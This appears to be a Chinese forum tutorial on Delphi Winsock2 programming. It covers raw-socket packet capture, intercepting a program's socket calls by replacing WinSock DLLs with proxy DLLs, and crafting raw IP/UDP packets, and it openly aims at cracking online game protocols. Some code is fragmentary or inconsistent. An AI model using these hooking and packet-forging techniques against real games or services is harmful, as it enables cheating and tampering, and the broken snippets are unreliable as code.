Delphi的封装的winsock是1.0版的,很自然winsock2就用不成。如果要使用winsock2我们要对winsock2在Delphi里面做一个接口,才可以使用winsock2。
1、如何做winsock2的接口?
1)我们要先定义winsock2.0所用得到的类型,在这里我们以WSA_DATA类型做示范,大家可以举一仿三的来实现winsock2其他类型的封装。
我们要知道WSA_DATA类型会被用于WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer;,大家会发现WSData是引用参数,在传入参数时传的是变量的地址,所以我们对WSA_DATA做以下封装:
const
WSADESCRIPTION_LEN = 256;
WSASYS_STATUS_LEN = 128;
type
PWSA_DATA = ^TWSA_DATA;
WSA_DATA = record
wVersion: Word;
wHighVersion: Word;
szDescription: array[0..WSADESCRIPTION_LEN] of Char;
szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;
iMaxSockets: Word;
iMaxUdpDg: Word;
lpVendorInfo: PChar;
end;
TWSA_DATA = WSA_DATA;
2)我们要从WS2_32.DLL引入winsock2的函数,在此我们也是以WSAStartup为例做函数引入:
function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;
implementation
const WinSocket2 = 'WS2_32.DLL ';
function WSAStartup; external winsocket name 'WSAStartup ';
通过以上方法,我们便可以对winsock2做接口,下面我们就可以用winsock2做封包捕获了,不过首先要有一块网卡。因为涉及到正在运作的网络游戏安全问题,所以我们在这里以IP数据包为例做封包捕获,如果下面的某些数据类型您不是很清楚,请您查阅MSDN:
1)我们要起动WSA,这时个要用到的WSAStartup函数,用法如下:
INTEGER WSAStartup(
wVersionRequired: word,
WSData: TWSA_DATA
);
2)使用socket函数得到socket句柄,m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP); 用法如下:
INTEGER socket(af: Integer,
Struct: Integer,
protocol: Integer
);
m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP);在程序里m_hSocket为socket句柄,AF_INET,SOCK_RAW,IPPROTO_IP均为常量。
3)定义SOCK_ADDR类型,跟据我们的网卡IP给Sock_ADDR类型附值,然后我们使用bind函数来绑定我们的网卡,Bind函数用法如下:
Type
IN_ADDR = record
S_addr : PChar;
End;
Type
TSOCK_ADDR = record
sin_family: Word;
sin_port: Word;
sin_addr : IN_ADDR
sin_zero: array[0..7] of Char;
End;
var
LocalAddr:TSOCK_ADDR;
LocalAddr.sin_family: = AF_INET;
LocalAddr.sin_port: = 0;
LocalAddr.sin_addr.S_addr: = inet_addr( '192.168.1.1 '); //这里你自己的网卡的IP地址,而inet_addr这个函数是winsock2的函数。
bind(m_hSocket, LocalAddr, sizeof(LocalAddr));
4)用WSAIoctl来注册WSA的输入输出组件,其用法如下:
INTEGER WSAIoctl(s:INTEGER,
dwIoControlCode : INTEGER,
lpvInBuffer :INTEGER,
cbInBuffer : INTEGER,
lpvOutBuffer : INTEGER,
cbOutBuffer: INTEGER,
lpcbBytesReturned : INTEGER,
lpOverlapped : INTEGER,
lpCompletionRoutine : INTEGER
);
5)下面做死循环,在死循环块里,来实现数据的接收。但是徇环中间要用Sleep()做延时,不然程序会出错。
6)在循环块里,用recv函数来接收数据,recv函数用法如下:
INTEGER recv (s : INTEGER,
buffer:Array[0..4095] of byte,
length : INTEGER,
flags : INTEGER,
);
7)在buffer里就是我们接收回来的数据了,如果我们想要知道数据是什么地方发来的,那么,我们要定义一定IP包结构,用CopyMemory()把IP信息从buffer里面读出来就可以了,不过读出来的是十六进制的数据需要转换一下。
看了封包捕获的全过程序,对你是不是有点起发,然而在这里要告诉大家的是封包的获得是很容易的,但是许多游戏的封包都是加密的,如果你想搞清楚所得到的是什么内容还需要自己进行封包解密。
--------------------------------------------------------------------
看尽悲伤,庸人自扰不平事。叹尽荒凉,海阔天空谁人知。狂风劲兮,百花飘
扬乱舞香。捏花一笑,海不扬波断肠心!
广告:http://delphicode.yeah.net
2.3 拦截Socket包
这个技术难度要比原来的高很多哦。要有思想准备。
首先我们要替换WinSock.DLL或者WinSock32.DLL,我们写的替换函数要和原来的函数一致才行,就是说它的函数输出什么样的,我们也要输出什么样子的函数,而且参数,参数顺序都要一样才行,然后在我们的函数里面调用真正的WinSock32.DLL里面的函数就可以了。
首先:我们可以替换动态库到系统路径。
其次:我们应用程序启动的时候可以加载原有的动态库,用这个函数LoadLibary然后定位函数入口用GetProcAddress函数获得每个真正Socket函数的入口地址。
当游戏进行的时候它会调用我们的动态库,然后从我们的动态库中处理完毕后才跳转到真正动态库的函数地址,这样我们就可以在里面处理自己的数据了,应该是一切数据
这个有点难懂 谁帮忙分析一下来研究一下封包的制作和发送,同样,我们所采用的方法是Delphi+winsock2来
制作。在以前说过在Delphi中只封装了winsock1,winsock2需要自已封装一下,我在此就不多介绍
如何封装了。
下面就一步步实现我们的封包封装与发送吧:
首先,我们应该知道,封包是分两段的,一段是IP,一段是协议(TCP,UDP,其他协议),IP就像
邮政编码一样,标识着你的这个封包是从哪里到哪里,而协议里记录着目标所要用到的包的格式及
校验等,在网络游戏中的协议一般都是自已定义的,要破解网络游戏最重要的是学会破解网络游戏
的协议网络游戏协议破解,为了不影响现运行的网络游戏的安全,我在此会以UDP协议为例,介绍一
下网络协议的封包与发送的全过程。
接下来,我们就可以开始看看整个封包全过程了:
1)我们要起动sock2,这时个要用到的WSAStartup函数,用法如下:
INTEGER WSAStartup(
wVersionRequired: word,
WSData: TWSA_DATA
);
在程序中wVersionRequired我们传入的值为$0002,WSData为TWSA_DATA的结构。
2)使用socket函数创建并得到socket句柄; 用法如下:
INTEGER socket(af: Integer,
Struct: Integer,
protocol: Integer
);
注意的是在我们的程序封包中饱含了IP包头,所以我们的Struct参数这里要传入的参数值为2,表示
包含了包头。该函数返回值为刚刚创建的winsocket的句柄。
3)使用setsockopt函数设置sock的选项; 用法如下:
INTEGER setsockopt(s: Integer,
level: Integer,
optname: Integer,
optval: PChar,
optlen: Integer
);
在S处传入的是Socket句柄,在本程序里level输入的值为0表示IP(如果是6表示TCP,17表示UDP等~
),OptName里写入2,而optval的初始值填入1,optlen为optval的大小。
4)接下来我们要分几个步骤来实现构建封包:
1、把IP转换成sock地址,用inet_addr来转换。
Longint inet_addr(
cp: PChar
);
2、定义包的总大小、IP的版本信息为IP结构:
总包大小=IP头的大小+UDP头的大小+UDP消息的大小,
IP的版本,在此程序里定义为4,
3、填写IP包头的结构:
ip.ipverlen := IP的版本 shl 4;
ip.iptos := 0; // IP服务类型
ip.iptotallength := ; // 总包大小
ip.ipid := 0; // 唯一标识,一般设置为0
ip.ipoffset := 0; // 偏移字段
ip.ipttl := 128; // 超时时间
ip.ipprotocol := $11; // 定义协议
ip.ipchecksum := 0 ; // 检验总数
ip.ipsrcaddr := ; // 源地址
ip.ipdestaddr := ; // 目标地址
4、填写UDP包头的结构:
udp.srcportno := ; //源端口号
udp.dstportno := ; //目标端口号
udp.udplength := ; //UDP包的大小
udp.udpchecksum := ; //检验总数
5、把IP包头,UDP包头及消息,放入缓存。
6、定义远程信息:
remote.family := 2;
remote.port :=; //远程端口
remote.addr.addr :=; //远程地址
5)我们用SendTo发送封包,用法如下:
INTEGER sendto(s: Integer,
var Buf: Integer,
var len: Integer,
var flags: Integer,
var addrto: TSock_Addr;
tolen: Integer
);
在S处传入的是Socket句柄,Buf是刚刚建好的封包,len传入封包的总长度刚刚计算过了,flag是传
入标记在这里我们设为0,addto发送到的目标地址,在这里我们就传入remote就可以了,tolen写入
的是remote的大小。
6)到了最后别忘记了用CloseSocket(sh)关了socket和用WSACleanup关了winsock。
最后要说的是这种发送方式,只能发送完全被破解的网络协议,如果要在别人的程序中间发送数据
就只有用APIHOOK或在winsock2做中间层了。如果大家还有什么问题需要和我讨论,请到
http://www.8860.net/delphicode
/\____ ___\ /\_\ /\ \/ /\ /\_\
\/___/\ \__/ \/_/_ ,__ \ \ \/ / \/_/_ _________
\ \ \ /\ \ / __ \ \_\ / /\ \ /\ \_/\ \
\ \ \ \ \ \/\ __/ / / \ \ \ \\ \ \\ \ \
\ \ \ \ \ \ \_____\ /__/ /\_\ \ \__\\ \__\\ \ \
\/__/ \/__/\/_____/ \_ \/\/_/ \/__/ \/__/ \/__/liu@sohu.com
数据统计中!!